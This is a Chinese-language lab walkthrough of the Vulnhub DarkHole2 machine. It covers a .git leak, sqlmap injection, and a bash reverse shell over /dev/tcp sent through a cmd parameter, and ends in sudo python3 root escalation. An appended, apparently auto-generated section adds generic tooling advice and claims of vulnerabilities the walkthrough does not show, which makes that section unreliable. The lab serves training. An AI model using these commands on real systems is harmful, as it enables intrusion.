看完这篇 教你玩转渗透测试靶机vulnhub—DarkHole2

Vulnhub靶机介绍:

vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。

这是一个漏洞靶机,老样子需要找到flag即可。

Vulnhub靶机下载:

官网链接:https://download.vulnhub.com/darkhole/darkhole_2.zip

Vulnhub靶机安装:

下载好了把安装包解压 然后使用VMware打开即可。

在这里插入图片描述

Vulnhub靶机漏洞详解:

①:信息收集:

kali里使用arp-scan -l发现主机

在这里插入图片描述
渗透机:kali IP :172.16.5.120 靶机IP :172.16.5.170

使用命令:nmap -sS -sV -T4 -n -p- 172.16.5.170

在这里插入图片描述
在这里插入图片描述

DarkHole1一样也是开启了2280端口 还是老样子使用Web扫描工具扫描 dirb、dirsearch、whatweb等 发现了git信息泄露

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

②:Git信息泄露:
git clone https://github.com/lijiejie/GitHack.git  #下载GitHack
python3 GitHack.py http://172.16.5.170/.git  #将源码下载本地
##PS: 我这里kali没网直接复制压缩包进去 都一样的

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
发现好像是数据库的命令,这里需要使用wegt./git 下下载:wget -r http://172.16.5.170/.git

下载了 .git目录后,使用git clone . webapp 命令会将该目录创建一个webapp的源码文件,可以在其中执行所有 git 操作。

在这里插入图片描述
然后执行 git log 发现git日志当中存在修改记录,切换到该条记录下进行修改将 HEAD切换到master

git checkout a4d9
cat login.php

在这里插入图片描述

在这里插入图片描述
得到密码为:lush@admin.com/321 尝试登入 发现登入成功!!!!

在这里插入图片描述

③:SQL注入:

发现网页URLid存在可能存在SQL注入可以直接使用sqlmap工具,F12获取网页cookie值:PHPSESSID=hlt3utsl914cg3q9jpu8a9fpn4

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

sqlmap -u "http://172.16.5.170/dashboard.php?id=1" --cookie="PHPSESSID=hlt3utsl914cg3q9jpu8a9fpn4"  --batch  #存在漏洞

在这里插入图片描述

sqlmap -u "http://172.16.5.170/dashboard.php?id=1" --cookie="PHPSESSID=hlt3utsl914cg3q9jpu8a9fpn4"  --batch  --current-db ##列出数据库

在这里插入图片描述

sqlmap -u "http://172.16.5.170/dashboard.php?id=1" --cookie="PHPSESSID=hlt3utsl914cg3q9jpu8a9fpn4"  --batch  -D darkhole_2 --tables ##列出表

在这里插入图片描述

 sqlmap -u "http://172.16.5.170/dashboard.php?id=1" --cookie="PHPSESSID=hlt3utsl914cg3q9jpu8a9fpn4"  --batch  -D darkhole_2 -T  ssh --dump ##获取内容

在这里插入图片描述
得到了账号密码:jehad/fool 尝试SSH登入!!

④:SSH登入:

在这里插入图片描述

⑤:漏洞利用&提权:
sudo -l
find / -user root -perm -4000 -print 2>/dev/null  #查看有没有 SUID 文件可以利用
cat .bash_history #查看历史文件  
cat /etc/crontab #查看定时任务

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
存在一个Web 9999端口 访问不了 尝试端口转发到本地:ssh -L 9999:127.0.0.1:9999 jehad@172.16.5.170

历史记录里面有查看id命令 发现是losy用户的普通权限 可以开启nc 监听 反弹shell

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

PS:因为我在学校没做完 回家接着做所以这里的ip变了 但是不影响

bash -c 'sh -i >& /dev/tcp/192.168.0.126/7777 0>&1' #因为这里是GET传参 所以需要url编码
bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/192.168.0.126/7777%200%3E%261%27  
curl http://127.0.0.1:9999/?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/192.168.0.106/7777%200%3E%261%27
/bin/bash -i
history  #查看历史文件

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

可以看到提权命令以及losy用户密码:gang 然后SSH登入!! sudo -l 查看 有sudo权限

在这里插入图片描述
在这里插入图片描述

sudo /usr/bin/python3 -c 'import os; os.system("/bin/sh")'  ###提权

在这里插入图片描述

⑥:获取FLAG:

在这里插入图片描述
至此至此获取到了flag,本篇文章渗透结束 感谢大家的观看!!

Vulnhub靶机渗透总结:

这个靶机难度适中
1.信息收集 获取ip地址 和端口信息 web扫描工具:nikto,dirb,dirbuster,whatweb等‘
2.sqlmap工具cookie注入 获取信息
3.这里需要主要的 端口转发 如果这个失败了 后面执行 curl是失败的 这里卡了一会不然弹不上
4.GET 传参 url编码 最后就是提权了sudo提权。

这个系列的两篇完结啦!最后创作不易 希望对大家有所帮助 喜欢的话麻烦大家给个一键三连 你的开心就是我最大的快乐!!

### Darkhole2服务器靶场漏洞利用工具及渗透测试技术 #### 1. Git存储库泄露的利用工具 在Darkhole2靶场中,通过`.git`目录泄露了完整的Git仓库,攻击者可以使用`git-dumper`工具来还原整个Git存储库[^2]。以下是`git-dumper`的基本用法: ```bash git-dumper http://target-ip/.git/ /path/to/output ``` 此工具能够从目标服务器下载`.git`目录中的所有文件,并重构出完整的代码库。 #### 2. 路径遍历漏洞的利用 靶场中存在路径遍历漏洞,允许攻击者通过构造恶意参数访问受限文件。例如,通过以下URL可以读取敏感文件: ``` http://target-ip/vulnerable-script.php?file=../../../../etc/passwd ``` 为检测此类漏洞,可以使用自动化扫描工具如`Dirb`或`Nikto`,它们可以帮助识别潜在的路径遍历问题[^1]。 #### 3. 命令注入漏洞的利用 Darkhole2靶场中的命令注入漏洞允许攻击者通过`cmd`参数执行任意系统命令。利用这一漏洞可以通过以下方式实现升: ```bash curl "http://target-ip/vulnerable-script.php?cmd=id" ``` 针对此类漏洞,建议使用模糊测试工具如`Burp Suite`进行检测和验证,同时对用户输入进行全面验证以防止命令注入攻击。 #### 4. 环境变量与定时任务滥用 靶场中还展示了如何通过环境变量和定时任务实现升。攻击者可以通过修改关键环境变量或创建恶意定时任务来维持持久化访问。为了防范此类攻击,应定期检查并清理不必要的环境变量和定时任务。 ```bash # 检查环境变量 printenv # 检查定时任务 crontab -l ``` #### 5. Web应用安全测试工具 对于Web应用的安全测试,可以使用以下工具进行漏洞扫描和渗透测试: - **SQLMap**:用于检测和利用SQL注入漏洞。 - **OWASP ZAP**:供全面的Web应用安全扫描功能。 - **Metasploit**:支持多种漏洞利用模块,可用于模拟攻击场景。 ```python import requests def test_sql_injection(url, param): payload = "' OR '1'='1" response = requests.get(f"{url}?{param}={payload}") if "error" in response.text: print("Potential SQL Injection vulnerability detected.") ``` #### 6. 日志分析与监控 为了发现潜在的安全威胁,应部署日志分析和监控系统。例如,使用`ELK Stack`(Elasticsearch, Logstash, Kibana)来集中管理和分析日志数据,及时发现异常行为。 ```bash # 安装ELK Stack sudo apt-get install elasticsearch logstash kibana ```
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

落寞的魚丶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值